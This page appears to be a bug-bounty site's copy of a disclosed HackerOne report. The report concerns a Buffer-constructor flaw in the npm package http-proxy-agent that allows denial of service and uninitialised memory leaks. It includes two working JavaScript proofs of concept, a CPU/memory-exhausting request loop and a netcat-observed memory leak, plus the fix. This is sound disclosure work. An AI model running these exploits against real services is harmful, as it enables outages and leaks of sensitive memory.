Skip to content
DoS Disclosed report Intermediate

`http-proxy-agent` passes unsanitized options to Buffer(arg), resulting in DoS and uninitialized memory leak

The http-proxy-agent package passed the auth option directly to the Buffer constructor without sanitisation. When auth was user-controlled, an attacker could cause a denial of service by consuming CPU and memory, and on Node.js versions before 8.x could leak uninitialised memory.

chalker Follow

Originally disclosed on HackerOne

High 8.2 View original
  • Triaged in 1 hour
  • Fixed in 2 days
  • Disclosed after 33 days

Summary by the researcher

Unguarded Buffer(arg) in auth option, which can leak data or cause DoS if typed user input (e.g. from JSON) ends up there. Resolved in [email protected] by switching to Buffer.from(arg) (new Buffer API).

The report

I would like to report a Buffer allocation vulnerability in http-proxy-agent.

In setups where auth argument is user-controlled, it allows to:

cause Denial of Service by trivially consuming all the available CPU resources extract uninitialized memory chunks from the server on Node.js <8.x.

Module

module name: http-proxy-agent version: 2.0.0 npm page: https://www.npmjs.com/package/http-proxy-agent

Module Description

This module provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in http module.

Module Stats

112 721 downloads in the last day 707 979 downloads in the last week 2 953 077 downloads in the last month

Vulnerability

Vulnerability Description

http-proxy-agent passes auth option to the Buffer constructor without proper sanitization, resulting in DoS and uninitialized memory leak in setups where an attacker could submit typed input to the 'auth' parameter (e.g. JSON).

The exact line: https://github.com/TooTallNate/node-http-proxy-agent/blob/master/index.js#L80

Steps To Reproduce:

DoS

JavaScript
var url = require('url');
var http = require('http');
var HttpProxyAgent = require('http-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

setInterval(() => {
  proxy.auth = 1e9; // a number as 'auth'
  var opts = url.parse('http://example.com/');
  var agent = new HttpProxyAgent(proxy);
  opts.agent = agent;
  console.time('tick');
  http.get(opts);
  console.timeEnd('tick');
}, 200);

Observe how this is consuming memory and CPU — each request takes >1 second in the main thread on my setup.

Uninitialized memory leak

JavaScript
// listen with: nc -l -p 8080

var url = require('url');
var http = require('http');
var HttpProxyAgent = require('http-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('http://example.com/');
var agent = new HttpProxyAgent(proxy);
opts.agent = agent;
http.get(opts);

Listen with nl -l -p 8080 to see requests.

Execute on various Node.js versions — 4.x LTS, 6.x LTS, 8.x LTS / 9.x.

This leaks uninitialized Buffer memory on Node.js <8.x. On ≥8.x those Buffers (that are using the deprecated API) are zero-filled.

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

  • OS: Arch Linux current
  • Node.js 9.5.0
  • npm 5.6.0
  • gnu-netcat 0.7.1

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Note

Almost entirely similar to https-proxy-agent, but this is a separate package, a separate GitHub repo, different version numbers, different lines in code, different download stats.

Impact

Denial of service Sensitive data leak (on Node.js <8.0)

The original report as published on HackerOne, by chalker. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code called Buffer(arg) directly on the auth option without checking its type or size, so a number or other unexpected value caused excessive allocation or uninitialised memory exposure.

Impact

An attacker could cause a denial of service by consuming CPU and memory, and on Node.js versions before 8.x could leak sensitive uninitialised memory; on Node.js 8.x and later the buffers are zero-filled, limiting the leak.

What the attacker needed

Attacker controls the auth option; Node.js <8.x for memory leak

The fix

The issue was fixed in version 2.1.0 by switching from Buffer(arg) to Buffer.from(arg).

How it was found

  1. Set the proxy auth option to a very large number.
  2. Create an HttpProxyAgent with that proxy configuration.
  3. Make an HTTP request using the agent and observe high CPU and memory use.
  4. For the memory leak, set auth to a number and listen on a local port with netcat.
  5. Run the request on Node.js versions before 8.x to see uninitialised buffer contents.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The http-proxy-agent library takes an 'auth' setting and turns it into a buffer, which is a chunk of memory used to hold data. If an attacker can control that setting, they can make the program allocate huge amounts of memory or, on older Node.js versions, read leftover data from memory that was never cleared.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by chalker

View all

36 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.